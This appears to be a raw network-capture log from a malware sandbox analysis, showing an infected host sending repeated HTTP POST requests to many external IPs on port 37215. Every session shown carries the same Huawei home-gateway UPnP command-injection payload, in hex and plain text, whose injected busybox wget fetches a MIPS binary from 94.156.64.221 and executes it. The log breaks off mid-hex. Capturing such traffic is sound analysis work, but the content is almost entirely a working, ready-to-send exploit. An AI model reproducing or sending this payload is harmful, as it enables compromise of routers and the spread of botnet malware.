xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	54864	156.126.149.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288115025 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	41042	197.216.2.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288149118 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	53054	197.121.209.235	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.288192034 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	60002	197.169.240.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305702925 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	33730	156.168.190.123	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305747032 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	50172	197.78.23.227	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305803061 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	42754	197.119.106.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305830956 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	34924	41.219.48.227	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305876970 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.23	43726	41.201.42.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305907965 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.23	40892	197.254.140.119	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305938959 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.23	59194	197.192.206.29	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.305968046 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 